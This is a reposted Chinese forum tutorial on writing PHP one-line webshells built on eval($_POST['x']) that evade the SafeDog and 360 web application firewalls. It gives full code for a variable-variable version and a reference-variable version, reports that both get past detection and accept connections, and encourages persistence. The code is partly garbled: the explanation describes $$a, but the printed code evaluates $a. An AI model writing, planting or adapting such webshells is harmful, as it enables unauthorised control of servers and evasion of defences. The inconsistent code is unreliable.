[WEB]繞過安全狗與360PHP一句話的編寫


00x01安全狗的確是讓人很頭痛,尤其是在上傳一句話或者寫入一句話的時候,會被安全狗攔截從而拿不下shell。
當然,安全狗是最簡單的一款waf,很容易就進行一個繞過。
00x02
對於繞過安全狗跟360,我姿勢不多,但是卻很實用為以下兩種

1.#可變變量
2.#引用變量

00x03
##可變變量(菜刀可能報錯)
<@eval($_POST['x'])
復制代碼

經常使用的人都知道,只是最簡單的一句話,不過任何waf與規則
我們先來加入需要的函數
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
復制代碼

我們先來測試下是否被殺

可以看見,是成功過了安全狗,我們來測試下連接

並且成功可以連接
代碼分析#
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
?>
復制代碼


我們來看第二行代碼
$a='b';
復制代碼

知道可變變量的人應該都能看懂吧,第三行$$a中的$a是b,也可以這么說$a替換成b。
繼續看第三行
$b=$_POST['x'];
復制代碼

根據第一行知道$$a就是$b,$b用來接收post 提交的數據  

最后第四行
@eval($a);
復制代碼
執行$$a相當於執行了$a也就是$b. 最后,我們整合成一句話
<?php $a='b'; $b=$_POST['x']; @eval($a);?>
復制代碼

                                     總結
1#  可變變量比較靈活對於過狗也比較簡單
2#  不過D盾只適合安全狗與360針對性比較高

00x04
##引用變量
<@eval($_POST['x'])
復制代碼
還是原始一句話,我先寫出寫好的代碼
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
復制代碼

我們繼續測試下是否被殺,

可以看見,一樣過了安全狗,我們繼續測試下是否可以連接

可以看見,已經連接上了,並且可以進行操作。
##代碼分析
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
復制代碼

我們來看第二行代碼
$a=$_POST['x'];
復制代碼

$a用來接收post提交的數據  
繼續看第三行代碼

$b=&$a;
復制代碼

$b引用了$a的內存地址間接的相當於$b接收了post提交的數據
最后第四行代碼:
@eval($b);
復制代碼

執行$b。最后我們來整合成一句話
<?php $a=$_POST['x']; $b=&$a; @eval($b);?>
復制代碼

                                     總結(與可變變量一樣)
1#  可變變量比較靈活對於過狗也比較簡單
2#  不過D盾只適合安全狗與360針對性比較高

00x05
                                                                         大總結
1#  了解其原理,一味的抄寫在安全狗更新時無法能夠獨立編寫
2#  活學活用,多種方式結合可寫出各種變態一句話,從而達到持久等效果
3#  多多與人交流,交流乃學習不可缺少的根本,共享思路結合思路,便可以稱為一個大牛。4#  安全狗只是一個很簡單的waf,不能止步於此,低調發展尋求高傲的技術

 

00x06
1#當然,我只列出的是一部分,還有許多的方式,例如函數替換,關鍵字拆分,雙變量等方式。
2#第一次寫文章,可能寫的不是很好,有建議者可以評論點出,萬分感謝。
3#日后我會分享過waf注入的思路,請大家多多支持!

本文來源:http://bbs.ichunqiu.com/thread-9012-1-1.html?from=bky


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM